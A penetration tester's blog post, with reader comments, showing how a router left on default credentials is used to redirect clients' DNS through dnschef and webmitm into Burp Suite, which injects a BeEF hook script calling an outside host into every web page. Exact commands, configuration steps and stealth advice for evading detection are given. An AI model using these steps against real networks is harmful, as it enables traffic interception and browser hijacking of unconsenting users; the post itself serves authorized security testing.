Intercepting DNS

Recently during a penetration test, I discovered a Linksys WRT54G wireless router that had been installed on a customer’s network. Surprisingly, this device was accessible from the Internet with default credentials. Watching the client list, I noticed several clients connecting on & off throughout the day. We all know that this is bad, but how do we actually exploit this weakness?

The goal of this post is to show how simple it is to take advantage of this vulnerability using free tools. These techniques should never be used on targets that you don’t own or have explicit permission to assess.

A couple of different attacks immediately came to mind. The first is to setup the “DMZ mode” functionality in the router. This allows all incoming traffic from the internet to be forwarded to a single IP address. Using this feature I could cycle through the clients in the DHCP log and scan each of the internal clients for vulnerabilities.

Many routers have a “DMZ-mode” to forward incoming traffic to an internal IP.

But there are problems with that attack. First, using a scanner like Nessus through a consumer-grade router can often overwhelm it. The NAT, PAT, and session tables fill up quickly and the traffic gets dropped.  Secondly, because the DMZ mode has no from filter, this effectively puts the client directly on the internet. Even though our testing will take place over a very short time, this isn’t a great option for our clients.

Another attack option is to replace the firmware on this device with custom firmware like DD-WRT. Though this would give me more ability to safely attack the clients, I would never want to modify the firmware of a customer’s device remotely without very explicit permission and directions.

Instead I looked to capture data by modifying the network settings of the router. In this case, I decided to re-route all of the web traffic through a computer I controlled using their DNS configuration. Then I returned spurious DNS results that forwarded their web traffic to a proxy that allowed injection of my own content. And of course I injected BeEF hooks that compromised the clients browser and allowed for further compromise of the machine using Metasploit. Now the external test becomes an internal test.

The first step is to setup a DNS proxy. I used a tool called dnschef that’s included in Kali Linux. It’s very easy to use and by default simply proxies all DNS queries to another DNS server. This lets your monitor what queries are being made by the clients. To demonstrate this attack, I’m running it with the following command:

dnschef –interface 192.168.1.106 –fakeip 192.168.1.106

     –interface 192.168.1.106 – This tells dnschef to listen for requests on this interface. By default it only listens on localhost. 

     –fakeip 192.168.1.106 – This hijacks requests by returning this IP as the result for every request. By default dnschef merely proxies requests through to another DNS server. 

The next step is to setup a webserver that responds to requests. Ultimately my goal is to filter traffic through Burp Suite, but I can’t direct the traffic directly to it. Burp is expecting to be a proxy for web requests, not the server that responds to the requests.  So instead I used the old tool webmitm that’s part of the dsniff toolset. Like dnschef, webmitm is a simple tool that receives and responds to all incoming HTTP & HTTPS requests. By default it merely retrieves the data from the “real” server based on the hostname in the HTTP header and forwards it on to the unsuspecting client. But instead I want it to forward all traffic through a proxy server (Burp).

webmitm -d 192.168.1.71

     -d – This enables debug mode in order to get some error messages if things don’t work. 

     192.168.1.71 – This is the host I want webmitm to forward all requests to. In this case it’s my Burp Suite system. By default, without a specified host, it forwards all requests to the real sites.

Now I’m going to setup Burp to proxy all of the requests so that I can inject content into the responses. To get started with Burp, check out this previous video post. Since webmitm is accepting requests on ports 80 and 443, and it doesn’t have the option to configure another port for the proxy server, I have to setup Burp on a different host. In this case, I’m running it on 192.168.1.71.

By default Burp listens on 127.0.0.1:8080, but I need it to listen on ports 80 and 443, and be in transparent mode. On my MacBook, for a service to open low-numbered ports it must run as root. So I start Burp using the following command.

sudo java -jar /Applications/burpsuite_pro_v1.5.20.jar
To configure Burp, I go to the Proxy Tab, and then the Options tab. Click Add on the left, set the port to 80, and bind to “All Interfaces.” Then click the “Request handling” tab and check “Support invisible proxying.” Hit OK and then repeat for port 443.

The invisible proxying option is required to forward the traffic through Burp.

Now I should have at least two Proxy Listeners configured, to listen on port 80 and port 443.

Listening on 80 and 443 is necessary to capture all of the clients’ traffic.
Now I’m ready to see some traffic. All incoming DNS requests to dnschef will respond to DNS queries pointing all domains to webmitm which will in-turn forward all requests through Burp. The next step is to modify the Linksys router’s DNS settings. To do that I need to set a static DNS server on the Basic Setup page. In the screenshot below you can see that I’ve set “Static DNS 1” to my Kali virtural machine running dnschef at 192.168.1.106. Obviously in a real-world attack I would need to set all of these addresses to my external IP address and forward the traffic in as necessary. 

Now that the DNS settings are modified, I need to reset the clients so they’ll get the updated settings. On the router’s “Status” tab, I click the “Local Network” page. Then click the “DHCP Clients Table” button. This shows me a list of each of the clients currently behind the Linksys. To the right of each entry, I select the checkboxes and then click Delete. This will cancel the DHCP reservation and require each client to renegotiate a DHCP lease, grabbing the new DNS settings in the process.

Now I should start to see traffic showing up in the Burp Proxy History tab, assuming the clients are making web requests. The fun part is to actually modify the responses to include my own malicious content. Since I don’t know much about the specific clients, I’m going to start by using the Browser Exploitation Framework (BeEF) to hook the client browsers. If you’re new to BeEF, check out my previous post here on getting it setup. I’m going to use a BeEF “hook” that is just a simple JavaScript tag injected into an HTML page. This code phones home to the BeEF controller to allow me to control the victim’s browser.  In this case, my BeEF hook looks like this:
<script src=”http://exploits.secureideas.com/hook.js” type=”text/javascript”>
I need to inject that onto web page responses, but watching and waiting for each response is incredibly tedious and could take a really long time. So instead, I’m going to make use of Burp’s Match and Replace functionality. This feature performs real-time find & replace actions on every request or response that passes through Burp’s proxy. 
The Match and Replace setup can be found on the Proxy tab, Options tab, about halfway down on the page. On the left I click Add and get the edit box below.  For the Type, I want to only match content in the Response Body. I need some content that will be on every normal webpage and easily accommodate the additional code, so I chose the tag </head>. Then in the Replace field, I include my BeEF hook from above followed by the </head> tag. 
So now every webpage response that has a </head> tag will have it replaced with the code that contains the BeEF hook. The clients’ browsers will execute those hooks, and my BeEF server will start getting connections from zombie browsers. The screenshot below shows a browser having connected.
Now I’ve got code running on client machines that let me control their browsers. The next step is to deploy exploits to the local machines through BeEF, but that will be another blog post. 
There are lots of ways to perform this attack. This is one using common tools that are easily accessible. Do you have a better way? Tell me about it in the comments.

Nathan Sweaney is a Senior Security Consult for Secure Ideas. If you are in need of a penetration test or other security consulting services you can contact him at nathan@secureideas.com or visit the Secure Ideas – Professionally Evil site for services provided.

5 thoughts on “Intercepting DNS”

  1. Nathan,

    Cool post. I really like how you used Burp's match/replace to inject the beef hook, and I definitely need to check out webmitm. One thing though: Wouldn't it be best to stick to MiTMing only HTTP, in regard to stealth? Any HTTPS traffic that goes through your "malicious" path will alert the user to the MITM (via the browser's untrusted cert dialog).

  2. Good point Seth. I meant to point that out. HTTPS traffic will look suspicious to users, and if you happen to stumble across the 1 in a 1000 users who doesn't just click okay, then they may not load the page. But on the other hand, there's a good chance those users will review the certificate and then Google Portswigger (the creator of Burp Suite) to see what's going on. Eventually one of those pages will be in clear text and let us hook the browser. But yes, we do lose the stealth there.

    In order to make this better, Burp has the ability to just let HTTPS traffic pass through without being viewed or intercepted. On the Proxy->Options tab, almost to the bottom is a section for SSL Pass Through. Just click Add, leave the two fields blank, and click OK. This will create a blank host range that effectively lets all HTTPS traffic pass through. So BeEF will be injected into HTTP pages and the victim will never see a warning.

  3. Hi Nathan,

    This is an interesting plot, but what would happen if someone wants to connect to a non-http(s) service?

    dnschef will return the ip of your kalibox and if no proxy is configured to forward that type of traffic (whatever it is) things will not work right?
    It would probabely lead to an investigation and would surface your setup, I guess.

    Am I missing something here?

  4. Hi Kristof,
    Great insight. You are exactly correct. Offhand I can't think of any proxies that will listen on every port and forward all of the traffic except those ports you specify (HTTP &/or HTTPS in this case). So some stealth could be lost there. Though I'm sure with a little effort you could set something up to forward the traffic for the most common ports.

    In the course of a short test though, this probably wouldn't be a significant issue unless the target has a very impressive incident response team, or you happen to come across an IT-savvy user. (But really, if they're that savvy or impressive, why would the router be open to the internet in the first place?)

    In order to minimize the chance of being caught, and causing a disturbance for the users, you could easily run through the steps, and then as soon as you get a few BeEF hooks, change the DNS settings back & release the DHCP leases. This would allow the other traffic to work as expected and let the BeEF hooks continue to report in.

  5. Hi Nathan,

    I followed your guide. DNSChef receives the request, but webmitm dosent. Its as it it isnt proxying to the correct address. But dnschef is set to the right address. What am I doing wrong?

Leave a Comment

Your email address will not be published. Required fields are marked *